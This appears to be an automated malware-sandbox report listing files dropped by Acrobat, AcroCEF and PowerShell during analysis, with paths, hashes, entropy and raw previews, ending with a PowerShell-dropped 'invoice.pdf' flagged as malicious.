Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"2dc0b2bf7236f0f4307fc6396c2bc840","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736567860000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"6925319ddceb420b7741eae869996537","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736567860000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"84d5226c12b98f5ca41e05e4a894ae0c","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736567860000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"53367e2409ff981b9a4adb62633c995f","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736567860000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"b0dbb65dd76d4e33bd60fa3dfe719634","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736567860000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"dfdec0bf5dd32c5dc08b3f5d125241e2","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1868421794843929
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUK+SvR9H9vxFGiDIAEkGVvpGY:lNVmswUUUUUUUUK++FGSItKY
MD5:	8556539550087463E3C82776A5547238
SHA1:	890691C4307B3734B3E34ADE73EA6725C3EDF19B
SHA-256:	AB1936AB3FC8032DBCFBD92DE850C1C9908D8ABABEFEDED16B6D72FCF5FE452D
SHA-512:	1ED5903CBF00E49B080C23B67EABAB05354258A3B158207435CA076C6F8AD6A5949F8919EDDB0C77118FE616C11F8A4700794A6C4433053167B47F965BFE2460
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6066822523995474
Encrypted:	false
SSDEEP:	48:7MlKUUUUUUUUUUKsvR9H9vxFGiDIAEkGVvWqFl2GL7msF:7HUUUUUUUUUUKcFGSItkKVmsF
MD5:	5616903169AD365BF5F3F36C3655B538
SHA1:	9EA21231FDF3B8A37482E7330C79B3CA1A80415A
SHA-256:	B16AFA7887E7B022D4DF05BC89ADE45FB34EDB45562590C94D5EE3DE480E90F8
SHA-512:	68EC417A93237402AD6266172910F0583C0879D4870177F6BD68357C1EA1FD69CE5248641ABEA491044A26805C3D80CB7439E15BBA728F8DF7DF3AC02C21726D
Malicious:	false
Preview:	.... .c........4......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg8hBaKU80Sqj3gZ9jnFuIlIE6Yyu:6a6TZ44ADEWBaKU84QDFkK
MD5:	D1F82B6B25110CD2120FCA16E8F76120
SHA1:	68073A91911C5BD6845ABD1857C1DFBFAB923514
SHA-256:	F2A123B2D08A98B73695617DF31EDFF4EF92461331492B52449ACE44E9F8C14A
SHA-512:	029296470B79E365D8C8D89335E86750B4ACA8F89C6E071C1A28DC5A46BB49488065445422D1A95AB6894EB632A26BE2844809AD1F4EE8B2AD573FC3A51EE7FB
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllultnxj:NllU
MD5:	F93358E626551B46E6ED5A0A9D29BD51
SHA1:	9AECA90CCBFD1BEC2649D66DF8EBE64C13BACF03
SHA-256:	0347D1DE5FEA380ADFD61737ECD6068CB69FC466AC9C77F3056275D5FCAFDC0D
SHA-512:	D609B72F20BF726FD14D3F2EE91CCFB2A281FAD6BC88C083BFF7FCD177D2E59613E7E4E086DB73037E2B0B8702007C8F7524259D109AF64942F3E60BFCC49853
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIa695e.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5004142083842487
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClSlDCH:Qw946cPbiOxDlbYnuRK+b3GH
MD5:	AC95C132ABDA034085142D9E23D39E92
SHA1:	0A9D14B5F3C0FBC624380D45D4CBE1B812747542
SHA-256:	F053618E5547A42758CBC293C11CC74084246354339E3184878A2F76516ECCEC
SHA-512:	0341EAF564B24ECA94175102BB6E91934042CB9B3377FF3E0A157670E1BF16D34C8106C33D1CDC97386E259293282D370C63C4FD9ECBF47E7B59F93664A04E2C
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.2.:.5.7.:.4.2. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_30v0yalz.dbn.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lw4g4zqg.ymw.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91gxt1ld_1ptswc2_62c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9hvi3bs_1ptswc3_62c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 22-57-37-029.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.3588167721576285
Encrypted:	false
SSDEEP:	384:O3R6pHK2KLfK+KFKjKT+KKK9KOKo6T9XSUoTCPe9lzAjAEWOeLj2hZ7IR88rppme:r90f5wgE+BwvgBct
MD5:	71514E59BA13ED878C63A92D3E95B6F7
SHA1:	D0AD29C06DF2552CAC3E4829139482641B922DA8
SHA-256:	61EEA9EBE4D7D170C055AFBCAEBA301BFCD4C552A958A274ABD2008B4E196EC3
SHA-512:	17F52AAB76D1E265592519673E2B78C50BCD9E83BE9B885A2CB1FFF48D77C44FEF69B5E7A59B12DB7FCD3630AA7F4B1ABB702EA3FB6E7DD682325671A6A5B3CF
Malicious:	false
Preview:	SessionID=e6bf02f9-11b2-41d4-bc2d-8befa4abda15.1736567857062 Timestamp=2025-01-10T22:57:37:062-0500 ThreadID=7724 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=e6bf02f9-11b2-41d4-bc2d-8befa4abda15.1736567857062 Timestamp=2025-01-10T22:57:37:080-0500 ThreadID=7724 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=e6bf02f9-11b2-41d4-bc2d-8befa4abda15.1736567857062 Timestamp=2025-01-10T22:57:37:080-0500 ThreadID=7724 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=e6bf02f9-11b2-41d4-bc2d-8befa4abda15.1736567857062 Timestamp=2025-01-10T22:57:37:080-0500 ThreadID=7724 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=e6bf02f9-11b2-41d4-bc2d-8befa4abda15.1736567857062 Timestamp=2025-01-10T22:57:37:080-0500 ThreadID=7724 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.389969182422191
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2ri:B4
MD5:	BE2771B2C2A7D69915662985387EBC09
SHA1:	A3FB36BA1FB8A24B040A7123DFBCFCD9C1F19AA1
SHA-256:	0561C7D66A6B60664DAC79C722A69C084E968377EC96F0B25FC46B95B2F1FE5C
SHA-512:	A642FAC7587F5A71AD6BCDF12B1262B66DE86FE46532C51CD6A44485BA56B5004608D0816030124FC0C7B17D72230C05D4347F2A1B17983EABF18CC8009C2A05
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\0111aee4-14c3-4a76-a5c6-23ab2dcb08f6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\497fea1e-598e-4c50-b7c2-62c586d2c834.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xaWL07oXGZGwYIGNPJwdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JaWLxXGZGwZGM3mlind9i4ufFXpAXkru
MD5:	0A347312E361322436D1AF1D5145D2AB
SHA1:	1D6C06A274705F8A295F62AD90CF8CA27555C226
SHA-256:	094501B3CA4E93F626ABFCAE800645C533B61409DC3D1D233F4D053CE6A124D7
SHA-512:	9856C231513B47DD996488DF19EEE44DBB320E55432984C0C041EF568B6EC5C05F5340831132890D1D162E0505CA243D579582EDB9157CF722A86EC8CE2FEAFE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\8e2eb582-c9a9-4cbd-b94d-3246a93add95.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\a99f34db-d6d7-4cdd-b16b-51c973d562ce.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
